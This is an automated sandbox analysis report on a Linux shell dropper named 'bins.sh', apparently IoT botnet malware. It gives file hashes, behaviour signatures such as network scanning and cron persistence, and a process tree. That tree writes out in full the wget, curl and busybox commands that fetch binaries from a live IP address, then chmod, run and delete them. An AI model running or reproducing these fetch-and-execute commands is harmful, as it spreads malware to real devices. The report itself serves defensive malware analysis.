Analysis

  • max time kernel
    96s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    24-11-2024 01:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fa2704f69bcefd901e2e3ca063a3a8d9

  • SHA1

    064f497aaf9573107f8b373e608dee54df2a205d

  • SHA256

    9eb63f75269e3be040c497aad4469eb0d59ae9c665ed79d2f0f839b9ef83f696

  • SHA512

    ad625e97d0c8cb40831213ece86efd36c94272d47e849119364ca732b26dbb581c1369918951dbee458d5672a71d4b80926b881d8404ecd70389f897bbdafffa

  • SSDEEP

    192:mTXvv7q7z3W7fQ7XHXzXOHvc7frq7z3xDmDaDguxxtpJnJ1JdJmvLw7Ftxm43YQA:5jL3zOHvcyBOigKLTmvLwRNRJOigg3zg

Malware Config

Signatures

  • Contacts a large (1240) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:696
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:700
        • /usr/bin/wget
          wget http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • Writes file to tmp directory
          PID:703
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • Writes file to tmp directory
          PID:719
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • Writes file to tmp directory
          PID:727
        • /bin/chmod
          chmod 777 oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • File and Directory Permissions Modification
          PID:728
        • /tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          ./oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • Executes dropped EXE
          PID:729
        • /bin/rm
          rm oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
            PID:731
          • /usr/bin/wget
            wget http://87.120.125.191/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            2⤵
            • Writes file to tmp directory
            PID:732
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            2⤵
            • Writes file to tmp directory
            PID:733
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            2⤵
            • Writes file to tmp directory
            PID:734
          • /bin/chmod
            chmod 777 7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            2⤵
            • File and Directory Permissions Modification
            PID:735
          • /tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            ./7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:736
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:738
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:739
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:740
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:741
                • /bin/rm
                  rm 7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
                  2⤵
                    PID:743
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
                    2⤵
                      PID:746
                    • /usr/bin/curl
                      curl -O http://87.120.125.191/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
                      2⤵
                        PID:827
                      • /bin/busybox
                        /bin/busybox wget http://87.120.125.191/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
                        2⤵
                        • Writes file to tmp directory
                        PID:836
                      • /bin/chmod
                        chmod 777 ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
                        2⤵
                        • File and Directory Permissions Modification
                        PID:837
                      • /tmp/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
                        ./ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
                        2⤵
                        • Executes dropped EXE
                        PID:838
                      • /bin/rm
                        rm ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
                        2⤵
                          PID:840
                        • /usr/bin/wget
                          wget http://87.120.125.191/bins/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                          2⤵
                            PID:841
                          • /usr/bin/curl
                            curl -O http://87.120.125.191/bins/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                            2⤵
                              PID:842
                            • /bin/busybox
                              /bin/busybox wget http://87.120.125.191/bins/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                              2⤵
                              • Writes file to tmp directory
                              PID:843
                            • /bin/chmod
                              chmod 777 0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                              2⤵
                              • File and Directory Permissions Modification
                              PID:844
                            • /tmp/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                              ./0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                              2⤵
                              • Executes dropped EXE
                              PID:845
                            • /bin/rm
                              rm 0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                              2⤵
                                PID:847
                              • /usr/bin/wget
                                wget http://87.120.125.191/bins/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                                2⤵
                                  PID:848
                                • /usr/bin/curl
                                  curl -O http://87.120.125.191/bins/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                                  2⤵
                                    PID:849
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.125.191/bins/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:852
                                  • /bin/chmod
                                    chmod 777 L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:863
                                  • /tmp/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                                    ./L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                                    2⤵
                                    • Executes dropped EXE
                                    PID:864
                                  • /bin/rm
                                    rm L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                                    2⤵
                                      PID:866
                                    • /usr/bin/wget
                                      wget http://87.120.125.191/bins/HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                                      2⤵
                                        PID:867
                                      • /usr/bin/curl
                                        curl -O http://87.120.125.191/bins/HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                                        2⤵
                                          PID:870
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.125.191/bins/HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:871
                                        • /bin/chmod
                                          chmod 777 HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:875
                                        • /tmp/HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                                          ./HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                                          2⤵
                                          • Executes dropped EXE
                                          PID:876
                                        • /bin/rm
                                          rm HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                                          2⤵
                                            PID:880
                                          • /usr/bin/wget
                                            wget http://87.120.125.191/bins/m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth
                                            2⤵
                                              PID:881
                                            • /usr/bin/curl
                                              curl -O http://87.120.125.191/bins/m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth
                                              2⤵
                                                PID:884
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.125.191/bins/m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:886
                                              • /bin/chmod
                                                chmod 777 m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:914
                                              • /tmp/m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth
                                                ./m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth
                                                2⤵
                                                • Executes dropped EXE
                                                PID:915
                                              • /bin/rm
                                                rm m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth
                                                2⤵
                                                  PID:997
                                                • /usr/bin/wget
                                                  wget http://87.120.125.191/bins/8CqkBhAufrISKNiYITow1rCM9OQNHsDBsB
                                                  2⤵
                                                    PID:999
                                                  • /usr/bin/curl
                                                    curl -O http://87.120.125.191/bins/8CqkBhAufrISKNiYITow1rCM9OQNHsDBsB
                                                    2⤵
                                                      PID:1002

                                                  Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • /tmp/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c

                                                    Filesize

                                                    127KB

                                                    MD5

                                                    89077b7bd4bcafca7713be43635c4862

                                                    SHA1

                                                    fc02edb8fba29ea8ee99e6157ef8560334530052

                                                    SHA256

                                                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                    SHA512

                                                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                  • /tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV

                                                    Filesize

                                                    151KB

                                                    MD5

                                                    6c583043d91c55aa470c08c87058e917

                                                    SHA1

                                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                                    SHA256

                                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                    SHA512

                                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                  • /tmp/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO

                                                    Filesize

                                                    98KB

                                                    MD5

                                                    5141342d0df8699fa32a6b066a0c592e

                                                    SHA1

                                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                    SHA256

                                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                    SHA512

                                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                  • /tmp/HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G

                                                    Filesize

                                                    141KB

                                                    MD5

                                                    3ca8decdb1e52c423c521bfff02ac200

                                                    SHA1

                                                    8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                    SHA256

                                                    dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                    SHA512

                                                    b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                  • /tmp/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl

                                                    Filesize

                                                    177KB

                                                    MD5

                                                    786d75a158fe731feca3880f436082c0

                                                    SHA1

                                                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                    SHA256

                                                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                    SHA512

                                                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                  • /tmp/m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth

                                                    Filesize

                                                    151KB

                                                    MD5

                                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                                    SHA1

                                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                    SHA256

                                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                    SHA512

                                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                  • /tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

                                                    Filesize

                                                    99KB

                                                    MD5

                                                    9438d9bc392bcf300a5583b6df5bc8f6

                                                    SHA1

                                                    375a6ae34b516f6f3eeea8030c4084f585017efa

                                                    SHA256

                                                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                    SHA512

                                                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                  • /var/spool/cron/crontabs/tmp.D55LES

                                                    Filesize

                                                    210B

                                                    MD5

                                                    6ace7a25cd9b0b0a461e1720361d3cac

                                                    SHA1

                                                    5bede64697e9289378613608fa262ecec6f1b4d0

                                                    SHA256

                                                    4875bae812af25eac3948bbbc83bef59e82e82f88eb4948e95831d284f792803

                                                    SHA512

                                                    9468f1e70c611694cff4ce3c4b717b88b9cec5c897604674b6440973e95f3829b4dee6eb86e4d9f5781c63ec1806288c851c57897137e899c30820822a036234